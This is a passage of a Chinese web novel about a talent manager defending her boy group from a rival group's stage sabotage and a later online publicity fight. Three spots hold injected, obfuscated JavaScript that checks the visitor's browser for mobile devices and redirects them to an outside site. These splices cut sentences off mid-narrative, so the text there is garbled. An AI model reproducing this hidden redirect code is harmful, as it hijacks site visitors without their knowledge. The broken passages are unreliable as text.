萧子重在这眼神下默默坐回原位,心虚地咳了声:“行行行不吃了,真是的......” 宫欢奇怪地看他一眼,压根没往他那边想,只是看了看另外两位艺人,不知哪儿燃起来的热血: “等下彩排的时候,我继续拖住郑羽,你们就去抢位置,绝对不要让!我就不信了,我还能斗不过他们。” 安声抬起头,往嘴里塞着食物说:“还要抢位置吗?昨天欢姐不是跟他们好好聊过了,应该不会再这么过分了吧。” 宫欢意味深长地摇摇头:“你不懂,他们的手段脏着呢。” 直到众人到了演播厅,安声才明白这个“脏”的含义。 演播厅里只有几个工作人员在忙碌,宫欢半路去找小张问布景的事情,三人进了演播室,顺着右侧台阶往舞台上走。 萧子重嘀咕: “昨天应该是巧合,导演组时间没分配好,两拨人才会都撞上,导致场地不够用。” 安声附和道:“是啊,欢姐昨天跟他们聊了那么久,肯定说服他们了。” 三人走到舞台边缘,这会儿只有两个大灯开着,除了舞台正中央,边角只有朦胧的暗光。 萧子重走在最前方,抬脚踩上舞台地面,忽然,猝不及防地脚下一个呲溜打滑,人一下没了影,从奚亭云和安声眼前瞬间消失—— “啊!!” “萧哥!” “萧子重!?” 只见消失的队友从舞台边缘一路滑到了舞台中央,萧子重手脚着地,才勘勘刹住车,他滑过的地方有一排长长的水痕。 “这什么玩意儿啊!” 萧子重手脚撑着地面,黏哒哒的泡沫水让他手脚止不住地打滑,狼狈地趴在地上站不起来也不敢倒下去。 借着舞台大灯,萧子重看清了舞台正中央的地面上积着一层带着泡沫的水,没有灯照着的话很难看出来。 “你们别过来!”萧子重紧急叫住两人,提醒道,“舞台上有好多水,还带着清洁剂的泡沫,特别滑!绝对不要摔倒!” 安声惊讶:“水!?还是带泡沫的?怎么会有这么多?” 奚亭云拿出手机,打开手电筒照明灯,将台阶上方的舞台部分照亮——果然,就连台阶上都干干净净,只有舞台全是水和泡沫。 “是不是清洁工还没有做完卫生,我们来的太早了?”安声说着看时间,“不对啊,现在都快要五点了,我们彩排时间都是定好的啊。” 奚亭云拧眉:“事情不对,去问问宫欢。” “喂喂喂——你们倒是管管我啊,”萧子重手臂尽力撑住身体,维持住了一个平板支撑的姿势,他的脸憋得涨红,“我快撑不住了!这地板也忒滑了!” 没等他们找人帮忙,舞台后方传来声欠揍又幸灾乐祸的声音: “哈哈哈哈哈这是哪个乌龟王八翻不过来壳了,就这样也算是男团?真是什么阿猫阿狗小王八都能出道了。” “你们不是爱跳吗,今天舞台都是你们的,让你们跳个够。” 几人朝声音来源看去,陈闪闪顶着一头蓝发,和TXT其他成员在后台放声大笑,看着萧子 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17126334|196094||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 重出洋相。 这下谁还不明白,他们玩阴的! 萧子重气得呼吸不畅,一激动便想挪动过去揍陈闪闪一顿,可没动两下身体就失去平衡,靠两只脚根本撑不住,必须全部手脚齐上阵。 他生平最恨的就是拿人的生命开玩笑,但凡他刚才不留神,反应慢点的话,人都说不定已经摔出去了。 万一刹不住车从台上摔到台下,估计这辈子都要告别舞台。 “老奚!给我揍他们!这群人就没想让我们好过!”萧子重叫道,“安声!上!” 奚亭云和安声一动不动。 萧子重急了:“你们干嘛呢,看自己人吃亏啊。” 安声为难道:“萧哥,我们过不去啊……” 舞台全是泡沫水,去后台这条路最近,当然,也可以绕行,就是要费点时间。 萧子重不甘心地想尝试爬起来亲自过去揍人,但实在是四肢着地爬行的姿势太丢人,他憋屈地叫嚷: “你们别太嚣张,舞台废了你们也别想彩排了!” 没想到陈闪闪和男团成员互相挤眉弄眼,不屑地嘲讽他们:“我们的咖位比你们高多了,国内超一线的男团,用得着跟你们挤一个小台子吗?节目组当然给我们找了其他舞台来彩排。” 安声忍不住说:“你们都有地方排练了还要来影响我们的训练,是因为嫉妒吗?” 陈闪闪脸微微扭曲了一下:“谁会嫉妒你们连名字都没有的人,别以为上了节目就能一炮而红了,到时候死得有多惨还不知道呢。” 说着陈闪闪带着TXT男团成员离开了后台。 安声见状大声追问:“前辈,你是怕我们比你们红才这样做的吗——还是觉得我们年轻更好看容易吸引——” “闭嘴!!!”舞台后面传来怒吼声,陈闪闪等人跑得飞快,不想搭理这几个傻子。 安声只得收回目光,回正身子,默默叹了口气:“想坦诚相待好难啊,前辈们果然都是口是心非的。” “......”奚亭云看向还在打滑的萧子重,用只有两人能懂的话,“也算是报仇了。” “还能怎么样啊,我们这群小喽啰,”萧子重愤恨地甩甩手上的泡沫,“快来拉我啊,我真要摔进去了,这什么水……一股味儿。” 奚亭云让安声去问工作人员借来了道具专用的麻绳,团成团留了个尾巴在手里,接着将剩余的麻绳用力甩了两下,抛向萧子重。 麻绳重量不轻,有个十来斤,抛到萧子重上方时,他原本期待的脸渐渐变色,预感不对!! 萧子重四肢一阵疯狂打滑,想挪开点位置。 但不巧,费力半天一点地方没挪开,麻绳圈结结实实地砸了下来,正中头部,将萧子重苦心维持的平衡打破,他栽进了清洁水里,身体朝下的衣服全部湿透。 “我,谢谢,你们,啊。”萧子重咬牙切齿,一字一句地说。 奚亭云:“不用谢。” 安声拉着麻绳头,教他如何操作:“萧哥,把绳子系在腰上,我们拉你过来。” 萧子重半死不活地趴在水里,一点儿脾气都没了,将绳子系好就不再动,被两人拉回舞台边时,衣服全部湿透,舞台上倒是拖得很干净。 坐在台阶上的萧子重脸色黑沉,压着怒气,他头发、脸上、下巴滴着泡沫,发下了他此生最大的宏愿:“我要——TXT死!!!!” - 宫欢到场时,舞台已经在清理收拾干净了,萧子重在员工区洗漱。 小张在旁边唯唯诺诺:“欢姐,这种事情节目组也没办法,都是腕儿,我们也不敢明着帮谁,只能尽量平衡。” “我们昨天知道抢彩排的事情之后,马上就跟台长申请再多一个彩排舞台,你也知道,电视台规定多,不容易变更,多一个彩排舞台就多了很多道程序。” 宫欢抬手止住小张的解释,她语气淡定,看不出情绪:“不用多说,这确实和你们没关系,是我们的竞争手段。” 该庆幸的是三人没有受伤,但凡有个人崴了脚,或是摔伤了手臂等等,宫欢筹备了这么长时间的男团初演就全是白用功。 小张松了口气,这几天相处下来也知道宫欢脾气爆但好说话,不会揪着不放。 宫欢看向舞台,安声走上去试探性地用脚蹭了蹭地面,确保不滑了才敢有大动作,可见留下了深刻的心理阴影。 宫欢:“那些水,是什么时候泼上去的?” “这个......”小张支支吾吾。 “别说不知道,你们这有监控,也别说是临时工,这借口我不会信。”宫欢说。 小张心底叹气,事发后她确实去看了监控,不得不说,TXT也太明目张胆了。 小张:“是txt那边的人给了两个保洁钱,让她们做的手脚。” “那些水在舞台上,一直没人管?”宫欢挑眉,语调拉高,“只是两个保洁的问题?” 小张无奈地说:“......其他人也看见了,但是不好太机灵,只能当哑巴瞎子。” 宫欢心里冷哼,火气已经烧到了头顶。 在她看来,手段竞争可以,营销通稿可以,泼黑水可以,甚至是买水军各种各种手段都行,可这么个操作,是针对了人身安全问题,是宫欢最不能容忍的手段。 害人!他们这是害人! 垃圾!下贱! 宫欢当即丢下小张,穿过舞台气势汹汹地进了后台,在休息室等各个地方开始到处找TXT男团的人。 小张慌慌张张追上来,跟在宫欢后面劝道:“姐啊,我的姐,我们等下问问羽姐那边,说不定是误会,大家解释解释,好好聊一下嘛。” “聊不了一点!” 宫欢在化妆室门前停步,开门往里看了看,没见人马上关住继续找,她动作快,小张跟在后面急得团团转。 “她手底下人都狂成这样了,就是她纵容的下场,不就是能挣点破钱,狂得没边一样。” 宫欢绕了一大圈,没看见一个人影子,想着估计是在隔壁演播室,她走出后台,摩拳擦掌:“我今天就要让他们知道知道,惹了我谁都别想好过!” 小张拿着手机赶紧给人打电话求助——快来人啊,电视台要被炸了! 44. 公平竞争(男团) 2号演播室。 演播室内霓虹灯光全部大开,舞台上播放着强劲燃爆的乐曲。 TXT男团共有5人,陈闪闪作为队长在排练走位,他扭腰摆胯走着主C位,这会儿正是其他人伴舞,引导陈闪闪走到台前的部分。 陈闪闪的嘴对着歌词口型,随着一阵鼓点从众人间气势满满地走到舞台前方,摆出了个定场的主Cpose。 就在这时,演播室与观众席旁边的侧门被人推开,紧接着一坨不明物体飞来,从台下直直朝着台上的陈闪闪飞去—— 模糊的黑色团状物砰得一声,精准砸中陈闪闪的脸。 “啊——!!”陈闪闪后仰倒地,后面伴舞的队员愣了几秒,顿时慌作一团。 “闪哥!你没事吧!” “卧槽,谁不要命了!乱扔垃圾都扔到我头上了!” 陈闪闪捂着头吃痛,扯下盖在头上的东西,看清袋口露出的垃圾后,嫌恶地扔到一边——黑色的垃圾塑料袋里面,装着各种外卖的剩菜剩饭和生活垃圾,什么都有。 陈闪闪火冒三丈,感觉脸上油腻腻的甚至有谁吃剩的饭菜。 他胃里翻涌一阵,臭着脸拉开破锣嗓子大骂:“是谁!哪个傻逼干的!?有本事给我出来!” 他以为是男团成员对他的主C位心有不满,之前为了抢C位内部没少闹,一个个的明里暗里都在让粉丝互相开战。 “是不是你们?”陈闪闪指着四个队友,眼神不善地扫过他们,“想抢我位置抢不过就玩阴的!” 几人正在对峙解释,宫欢在台下拍了拍手,和小张旁若无人似的大声说:“他们一直这个智商吗?” 小张只能保持苦笑:人笨,且蠢啊。 陈闪闪这时才发现罪魁祸首,他怒气冲冲的调转矛头:“是你干的!?宫欢,你闲的没事来找我麻烦?” 宫欢朝人翻了个大大的白眼,明明站在台下,却高抬下巴,反而比他们都要居高临下。 宫欢看都不屑看陈闪闪:“找你麻烦都是便宜你了,我就问一句,今天是谁找人在舞台上泼的水?” 舞台上音乐被人紧急暂停,其他成员你看我我看你,没人敢认。 这事儿如果是奚亭云他们几人找来算账都还好说,艺人们私下搞小动作,竞争都是常有的事,见怪不怪。 可换成宫欢这种经纪人级别的找来,那性质就不一样了。 男团成员们眼神互相示意,绝对不要承认,只要咬死不认,宫欢拿他们没办法,最多......骂一顿。 这时陈闪闪发出那种快没气似的嘲笑声,他边甩着一头的汤粉米线,淅淅沥沥的骨汤打湿了头发,边走到舞台边缘,大大方方地宣告全世界: “是我,怎么了?我就是看不惯他们,一个个还想跟我们用一个舞台,场次也排在我们前面,他们凭什么!” 男团成员:“......” 要不我们就此解散吧哥。 宫欢也没想到她压根不用套话这一步骤,甚至都没说两句话,对方就认了。 啊不对,是......生怕别人抢了这个功劳。 宫欢从外套兜里拿出一支黑色的笔举了举,“行,你承认就好,录音了啊。” 陈闪闪显然没想到这层,他当即惊呆在原地,指着宫欢颤颤巍巍:“你,你!” 宫欢没等人说话,沿着台阶走上舞台,挨个骂:“我看也不用单独找是谁做的了,你们都逃不掉。” “舞台上的那些水,滑到站都站不稳,但凡我的人有一个摔了崴了,伤筋动骨,你们就是蓄意谋杀!我为他们铺垫了多少资源,砸了多少钱在他们身上就是为了初舞台,出了问题你们谁担得起责任,谁赔得了我的成本!?” “一个个头发染得五颜六色跟路边卖那小鸡似的,小鸡还可爱毛茸茸,你们呢?就占了个千奇百怪,长得坎坷又嶙峋的,心眼一个比一个脏,手段一个比一个恶心,娱乐圈真没白进啊,好的一个没学,坏的一个不落是吧!” 宫欢盯着那些人,男团成员们默默低下头不敢跟她对视,挨个骂完后,正好走到陈闪闪前面。 陈闪闪试图反抗:“你以为你算什么东西,羽姐都没这么骂过我!宫欢,你真的觉得你斗得过我们,斗得过璀璨!?TXT再怎么不好,也比你那个野鸡男团好!” “哎哟哟,自己没底气拿璀璨来跟我叫板?” 宫欢拿着那只黑笔在陈闪闪眼前晃了晃,对方伸手就想抢,被宫欢躲开,“这录音我放出去他们还保你吗?上升期爱豆的黑料啊,到时候我再让人告你蓄意谋杀,你还能在圈里混吗?” 宫欢抱着手臂,站在陈闪闪几步远的地方,正是舞台边缘。陈闪闪被宫欢激得双手攥拳,双眼赤红往前走了一步,看着像是想做什么。 “你不会是想要推我吧?”宫欢看了看身后,挑衅道,“确实挺高的,把我推下去摔得不重但是解气。不过呢......你圈里生涯也就完了,可要好好想想哦。” 两人剑拔弩张之际,小张上来拉了拉宫欢,其他人则去围着陈闪闪劝解,省得他一时冲动毁掉团队,一群人都在拉架。 郑羽匆匆忙忙地赶来。 到现场时就看见宫欢没好气地看着那些艺人,而陈闪闪则是气得又扑又闹,仿佛和宫欢有深仇大恨。 “够了!”郑羽骂道,男团几人看见经纪人来了,一个个才收敛起来。 陈闪闪则委屈地叫她:“羽姐!你看她——” 宫欢没转头去看,只是眼睛微动,算是斜瞥了郑羽一眼,没等对方开口先发制人:“他们做的事有没有你的指使?郑羽,你怎么带的人,这种货色就该骂该打,你天天捧着他们,小心早晚反倒把自己砸了。” 郑羽看了小张一眼,小张满脸凝重,对着她摇摇头。 郑羽来之前,在电话里听小张着急忙慌地说了几个关键字就赶了过来,大致知道怎么回事。 舞台的彩排使用时间本就是分了两个时间段,17:00至22:00是宫欢那边,22:00之后则是郑羽这边的彩排时间。 之前这么安排,也是因为那时候TXT男团在参加团综,时间转不过来才这么定下。本来早些的时间是给他们的。< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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郑羽和TXT男团背靠璀璨,国内排前三的娱乐公司,哪怕是头猪都能用资源砸成明星小种猪。 宫欢能力有限,只能用人脉去抢资源。 但是人都这么说了,她不接招也不太好。 - 1号演播厅后台。 萧子重洗漱后换了身工作人员提供的灰色T恤和运动裤。 衣服有点小,紧贴着身体,胸前偏软的布料被撑得绷直了,勾勒出胸部到小腹的肌肉线条。 萧子重有些别扭地扯了扯衣服下摆,总感觉哪里都没露,却又好像露了很多地方。 要挡住吧,又显得很忸怩。 他抬了抬手挡在胸前,怎么看怎么别扭,最后只好双手抱在胸前,看起来还顺眼一点。 “萧哥,你好了没啊,”安声在更衣室外催促,“快出来吃瓜,好多人都去隔壁了,好像是欢姐在那边——‘大发雷霆’,不去就看不到了。” 萧子重照镜子的动作顿了顿,宫欢? 45. 公平竞争(男团) 更衣室门被拉开。 奚亭云坐在走廊休息椅上,目光看着前面几个走远的工作人员。 安声则站在门口准备敲门,看见萧子重出来忙说:“穿好了就行,走,我们快去看看欢姐发飙!” “她发飙有什么好看的,我们平时被骂得还少吗?” 这么说着,萧子重还是跟上了两人。 奚亭云走得最快,像是赶着要去看第一现场。 “那不一样,”安声看了看周围,用手挡在嘴边悄声道,“平时骂我们是为了我们好啊,不过这次重点是陈闪闪他们差点害我们摔跤,我想看欢姐骂死他们帮我们报仇!” 三人来到2号演播室门外。 演播室侧门门口围了不少导演组的人,一个个都很守规矩,没有用手机拍照片或是视频,而是就用眼睛看,互相和同事八卦。 “陈闪闪本来就这样啊,你才知道啊?” “之前在xx演唱会的幕后帮忙的时候就很大牌,非要迪利牌子的鞋,不然就不上台。” “你们说宫欢会接招吗?之前就听说宫欢和郑羽不和,好像就因为这个宫欢才离开的璀璨!” “真的假的?” “包真!” 奚亭云凝神听着这些八卦。 对于宫欢的工作经历他了解得不多,只知道她两年前开始经营工作室,他对她的了解也局限在这两年里。 演播室的门开了一侧,挤满了不少工作人员。 奚亭云勉强占了个视角还算不错的位置,远远地能看到舞台上方的宫欢和郑羽他们对峙。 安声和萧子重也凑了过来,竖起耳朵听里面都说了些什么。 演播厅空旷,舞台距离侧门有些远,却不妨碍众人都屏住呼吸,捕捉那些传出来的只言片语。 只听见宫欢笑了笑,漫不经心里透着势在必得:“行啊,公平竞争,全凭你我手段——好久没人往我枪口上撞了,尤其是我们这种还有恩怨的,就是要分个胜负才甘心,对吧?” 宫欢离开璀璨的原因就是被挖了墙角,手下最红的艺人被郑羽撬走。 不过,这个艺人貌似因为太作,没火几个月就凉了。 但这并不妨碍宫欢记仇。 郑羽倒从不觉得她有做错什么,挖人才也是一种商业手段。 “既然你答应了,那大家就都说开了,后面不会再出现这种小动作。”郑羽一口保证,将手伸到宫欢面前。 宫欢眉头微微皱起,有些嫌弃地说:“干嘛,还要握手啊?” 郑羽被噎住,声音拉高了些:“录音笔!” 演播厅外的众人默契地响起一阵:“哦~” 谁知道宫欢耸耸肩,特别嚣张地在陈闪闪等人身上扫过去,将口袋里的黑笔拿出来给郑羽,无辜道: “逗逗他们,没录音,就一支正常的笔。” 陈闪闪一直缩在郑羽身后,听见宫欢带笑的话,顿觉自己被人耍了,奋力往前扑着身体想揍宫欢:“你居然骗我!” 宫欢:“骗你怎么了,我还要骂你,没打你都算是轻的。” “好了,现在公平竞争的话也撂下了,那就把他的帐清一清,”宫欢说,“给我的人道歉,必须是鞠躬道歉!” 没等郑羽说话,陈闪闪叫骂着:“你想都别想!还要我道歉,我呸,我没有错凭什么道歉,本来就是他们该让给我的——” 郑羽听得额头青筋突突直跳,单手扶额看了其他人一眼:“给我捂住他的嘴!别让他说话了!”真是没事给她找事。 男团成员几只手纷纷捂住了陈闪闪的嘴,他瞪大眼睛唔唔唔个不停。 宫欢乐得看他吃瘪,站在一边等郑羽给回复。 郑羽走到陈闪闪旁边,凑到他耳边低声威胁了几句:“别再闹了,外面多少人都看着呢,回头传出点闲言碎语我都没办法公关,差不多就行了,一直纠缠下去对你没好处!” “你道个歉,不痛不痒的事情,后面时间还长呢。” 陈闪闪看了郑羽片刻,被她瞪了两眼才忿忿不平地点头。 确认陈闪闪听话后,郑羽才转身向宫欢好声好气地解释:“道歉没问题,这次是他太过分了,年轻艺人都这样,脾气差,你多见谅一下啦。” 演播厅门外,几个吃瓜人耳尖的听见道歉之类的话,顿时扭头找了找—— 一眼看见也跟着趴墙角听瓜的三位当事人,众人你一手我一脚地把三人推进了演播厅。 奚亭云三人踉踉跄跄地被推了几步远。 回头看时,门口那些工作人员纷纷挥手示意:赶紧去!该你们的戏份了! 这动静不小,舞台上对峙的众人看了过来,奚亭云三人顿时有些尴尬地各忙各的。 奚亭云轻咳一声,萧子重假装看天,安声挠头。 宫欢朝三人扬扬下巴,叫道:“上来,让他给你们道歉。” 三人默契地你看看我,我看看你,很诚实地走上舞台站在宫欢身后。 宫欢侧身让开,伸手示意:“开始吧,道歉仪式要郑重一点,你说对吧,陈闪闪?” 在郑羽的眼神下,其他人松开了陈闪闪,他眼里带着愤愤不满的怨气,却不得不朝着三人弯腰鞠躬,冷声冷气地敷衍道:“对不起,行了吧。” 安声刚想伸手把人扶起来说没关系,宫欢紧接着说:“为什么对不起啊,你做了什么?” 陈闪闪牙齿咬得咯咯作响:“我,不应该,把舞台弄脏陷害你们,对,不,起!” “你们接受道歉吗?”宫欢看着三人说。 奚亭云和安声两人则看向站在中间的萧子重。 萧子重难以言说此刻的心情,被人看见自己的委屈,尽管是那么微不足道的,小到不能再小的事…… 他张了张嘴,很平静地说:“接受。” 演播厅外的工作人员们像是追完了一场连续剧,不少人甚至鼓起掌来,夸张地热泪盈眶:“我宣布!这是本年度吃瓜事件里最解气的一次了呜呜呜呜!” “好好好,那就没事啦,”郑羽见事情平息,恢复成一贯的笑面虎模样,“大家该训练训练,毕竟都是竞争对手了,后面可就各凭本事了~” 宫欢看她一眼,敷衍地笑了笑,不再多说,带着三人离开。 走出演播厅侧门时,围观的吃瓜群众顿时散开,宫欢全当没看见,领着人往1号演播厅走。 解决了小麻烦,宫欢并没高兴多少。 刚才郑羽说的“公平竞争”,她要想办法应对,一般的营销水军她是砸不过璀璨的,而TXT男团又有粉丝基础,知名度比奚亭云三个高得多得多得多—— 要怎么应对啊啊啊啊!! “这事儿没完。”宫欢内心抓狂,表面却非常淡定。 奚亭云:“我们这几天加时间排练,现在1号演播厅后面的时间都空出来了,训练不是问题,等节目开播的时候,我们争取一定赢过他们。” 奚亭云平时都是不争不抢的态度,突然这么有计划让宫欢愣了下,“彩排的确要加强,不过倒也不是这个问题,你们不用操心那么多,好好训练就行。” 到了1号演播厅,宫欢说要去和高姐打个电话聊一下应对策略,三人便自觉进去训练。 没等宫欢走远,安声忽然又跑出来追上她,心虚地前后看了看有没有工作人员,才低头说:“欢姐,我有件事要跟你说。” 宫欢拿着手机给高姐发消息,问她现在有没有时间接电话,头也不抬地说: “哦我知道,你妈妈给我发消息了,说让我最近空了去做客,等忙完这阵再说,去忙吧。” 她说得太自然,一下把安声拐沟里去了,他懵着应了一声,转头就往回走。 等安声反应过来后敲了敲自己的额头,“哎呀,一打岔差点忘了。” 他再次绕回去追上宫欢,这会儿人已经到了演播大楼门外,安声叫住她:“欢姐,不是那个事。” “那还有什么事?”宫欢站定,不解地看他。 安声忽如其来的忸怩。 两只手忙碌地在身上到处逛,在宫欢快要凶他时,凑到她耳边用气声说:“其实我想…让你帮我留一个观众席前排的座位。” “你要我帮你留观众席座位?”宫欢重复了一遍。 “嘘嘘嘘嘘!!!”安声一把捂住她的嘴,紧张地到处看,见没有人听见,他才松了口气,“欢姐你小声点,这种事情要偷偷摸摸的进行。” “就留一个?你只让你妈妈来看你表演吗?”宫欢自然而然地认为这座位是留给叶有仪的,“你爸爸不值钱吗。” 安声心虚地说:“不是给他们的......” “不是给他们,那是给朋友……男的女的!?”宫欢隐约感觉不对劲,眼眸微眯,思索着得出一个可怕的结论,“你不会在恋爱吧!!” 安声顿时被冤枉了似的瞪大眼睛,手脚忙乱,嘴巴打架:“怎怎么会!欢姐说不能恋爱的事情我记得死死的,绝对不会偷偷做这种事!” “其实就是一个关注我很久的粉丝,她一直在给我应援,之前我在街边驻唱她经常来,在夜店跳艳舞的时候她也会去支持我,是非常好的一个粉丝!” “你的粉丝知道你跳艳舞!!??她还支持你?”宫欢这下比刚才更震惊了,眼睛眨了好几下,“真的有这么真心的粉丝?” 安声忙不迭点头:“当然有了,她经常给我送花,写信,私下也会经常鼓励我,而且很有礼貌,她说她不是图我身子,只是图我好看,舞台风格强。” 宫欢:“......很实诚的粉丝。” “前段时间我跟她说在准备男团初舞台的事,她说很想见证这一天。” 安声乞求的小眼神看着宫欢:“所以求你啦欢欢姐,能不能帮我跟节目组要个座位啊,最前排的那种,我想让她看看我超厉害的样子,让她知道她追的爱豆出息了!” 要个座位这种事情不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“我在我在!!”甘惊鸿的声音在手机那头一下响起来,带着欣喜激动,“太好了真的过了!!” 视频镜头里面隐约可见甘惊鸿一下扑到床上对着被子枕头一阵捶打,激动得不行。 高姐带着笑意:“我早说了你可以的,通过了就好。” 除了这些暂时没有其他安排了,宫欢准备挂断视频,高姐忽然说:“等下,小欢。” “怎么了?” “嗯......”高姐犹豫了下,“我这边有点事情需要回一趟A市,是家里的一些事情。” 宫欢愣了愣,神情严肃道:“你家怎么了,出什么事了?” 高姐在宫欢身边两年多的时间,平时假期很少,因为要应对艺人的各种突发状况,基本宫欢忙的时候高姐要更忙,宫欢闲下来她则稍微清闲点。 高姐很少主动提出请假,几乎是全年无休。而工作室平时的工作内容,大部分很依赖高姐,宫欢给她找了三四位小助理辅助工作,但很多工作内容还是需要高姐过目才最稳妥可靠。 她忽然说家里有事,宫欢下意识把事情想得很严重。 “你一个人能行吗,要不要我再找几个人跟你一起去帮忙?”宫欢追问。 高姐却有点支支吾吾,说不太清:“没什么大事,就是一些小事情,需要我回去处理一下。” 她这么说了,宫欢也不好多问,可能是涉及自家隐私,不想多说。 “接下来我只能远程工作,买狗仔拍路透图和你的舆论控制我都会跟进,大部分工作不受影响,”高姐说,“只是,小甘这边......” 这时甘惊鸿平复好了心情,她慢慢凑到镜头旁边,理解地说:“没关系的!接下来我就要进组了嘛,我之前跟过组的,就是导演让我干嘛我干嘛,导演指东我绝不去西。” 高姐:“一般艺人都会配备助理,我离开的话你就暂时没有助理了。” 甘惊鸿毫不介意:“我以前就没有助理,不也是这样过来了嘛,而且现在我还不火,什么端茶倒水撑伞的,不用麻烦别人的。” “助理的作用并不只是这些,”宫欢看着两人说,“高姐是老人了,她相当于半个经纪人陪在你旁边,遇到什么事儿也好帮你应对,现在你一个新人在那边......我不放心。” 甘惊鸿似懂非懂地点点头,又想到个主意:“那之前还有两个小助理啊。” 高姐摇头:“她们有别的工作内容,不好调动。” 三人迟疑一阵,最后宫欢拍板决定,跟高姐说:“你尽管去忙吧,小甘那边我多留意着就好。” 高姐看了看宫欢,又转头看向身旁的甘惊鸿,眼神里带着些许纠结,最后还是什么都没说。 挂断了视频通讯,高姐简单收拾了一下行李,离开酒店到机场,乘坐最晚的航班飞回A市。 望着机窗下方的万家灯火,高姐拿出手机点开一个人的微信聊天框。 聊天界面里的内容多是她单方面发过去的—— 【一切顺利。】 【小姐没受到影响。】 【舆论已控制。】 【男团成立,三人。】 【签约女演员,甘惊鸿。】 【初舞台筹备中。】 而在两小时前,对面曾经发来了一条消息。 【回A市,不要帮她。】 46. 热搜快报 今日热搜快报: #围炉夜话耍大牌事件竟有盲点 #花絮14:08秒有惊喜 #耍大牌的究竟是谁 #新星晚宴红毯停留超时 #飞飞牛奶新品香菜羽衣甘蓝牛奶 #摔跤了千万不要马上爬起来 #九成大学生表示生活富足 微博热议的明星相关话题里面一众的拼音缩写,让人分辨不出究竟说得到底是哪个明星。 只能看见一众粉丝们下场厮杀。 【晚宴是谁在媒体面前一直哔哔赖赖的,xx那么明显还用猜吗?但凡看过全程视频的都知道吧。】 【xx后面是gh,没看见她走的多快,就是为了赶xx下场啊!】 【谁说的,gh那架势像是走红毯吗?说是去赶着宰猪我都信,不会走红毯就别走】 【记者采访gh的时候,她让他们到旁边专门为记者提供的采访位置,就是点某人呢!】 【可不就是显着她懂事了~xx根本不知道场地安排好吧!他怎么知道可以去旁边回答问题?是你你知道吗?】 【有没有人看节目组的花絮!!!一个博主扒出来了!快去吃瓜啊!】 O站热门视频排行榜上,一位资深吃瓜博主发布了一个视频: 【全网最新最全深度解析“围炉夜话”宫欢篇】 视频刚放出不到3小时,播放量高达百万,弹幕密密麻麻,评论区点赞量皆是十几万起步。 博主将上期【围炉夜话】和被放出的所有物料视频都扒了一遍: “在节目组放出的长达三小时的花絮里面——14:08分,宫欢从她的休息室出来了,注意这个重点!!从这里开始,视频切换到其他人的花絮介绍,然后在37:46的时候镜头又切回了宫欢!” 这位博主讲解得十分投入,像在讲悬疑电影似的,兴奋激动地将花絮视频暂停,针对这一幕说: “大家注意看,这个时候宫欢还是站在她的休息室门前,门上面可以看见一个欢字,可以确定是她的休息室。” “然后这里是去录制地点,摄影师的镜头就跟着她走,宫欢跟其他嘉宾打招呼,注意!这里又有一个盲点!” 视频停顿在宫欢打招呼走路的画面上,弹幕飘过一大片的质疑: 【哪有盲点啊?】 【就算宫欢出休息室的时间早了,也不能确定她就肯定没有拖延时间啊,万一她半路离开录制现场呢?】 【不会硬洗吧!?取关!】 【取关!取关!】 【博主是宫欢粉丝!实锤了!】 只见这位博主将音频的声音调到最大,然后放轻声音说:“花絮的声音放到最大可以听到背景音,大家听听看,能不能发现?” 剪辑这期节目时,up主将花絮原视频里面的配乐删掉了,只留下了人声,因此放大后的人声里面,仔细听可以听见特效之类的游戏打斗声,还有隐隐约约的焦急声音—— “哎哟,哥,节目快要开始录制了,咱等会再玩,这次可是不少大佬......” 这段声音即使放大了数倍也只能听到点大概的声音。 弹幕里面又有人挑刺质疑,博主不语,只是神秘一笑,将花絮原视频调慢到0.5倍速—— 跟着宫欢的镜头从一间半开的门前一晃而过。 博主点下暂停,画面里,宫欢半边身子都离开了镜头,另外半边则是半开的休息室大门,画面模糊成一大团马赛克。 似乎猜到有人会质疑,博主抬手自己演起来了:“且慢,先别急着质疑,等我出手!” 紧接着这位博主使出一番技术手段,将这团马赛克修复到可以辨认大概轮廓的清晰度,半扇休息室的门上写着两个字,可以看出一个字是夏。 视频到这,弹幕已经被炸得五花八门,甚至还有举报视频的言论出现。 Up主继续边放花絮边跟着解说:“宫欢在这之后就遇到了李云晴,然后两个人往录制地点走,花絮只拍到她们走出后台的部分,接着是其他人的花絮,都差不多前后时间段离开后台。” “这段花絮里面,只有夏信的花絮视频没有出现和其他人打招呼的片段,他录制出门视频的时候周围都是空的,甚至一些休息室的门都是开着的,里面是空的。” 说到这,弹幕有人发: 【你的勇气我欣赏,你的私信记得关】 【真的假的?所以耍大牌的是夏信!?】 【宫欢要是耍大牌就不会和李云晴一起走了啊,她丢下别人离场也太不体面了】 【万一她就是这么不体面的人呢?】 一场全面解析的视频放出5小时被举报了上百次,up申诉申得手麻。 他擦擦满头的汗,拿着手机点下语音键,凑到嘴边哀嚎叫惨:“哥,这次得加钱啊,工作量太大了!我号都要没了,十几万粉丝呢!!” 一个头像为纯白底图的微信用户,被up主备注上了:【有钱大哥】 有钱大哥:【加。】 有钱大哥:【效果很好,加两倍。】 有钱大哥:【转账7000元。】 Up主欣慰不已,不愧是他的有钱大哥:【谢谢哥!】 Up不由得感慨,这位大哥真是宫欢的忠实死粉啊,敢跟全网这么干架的,真是头一份。 - 中午12:00。 宫欢睡醒了。 她伸了个懒腰,慢吞吞地从床上爬起来,洗脸,对着镜子刷牙,双目无神地看着镜中的自己。 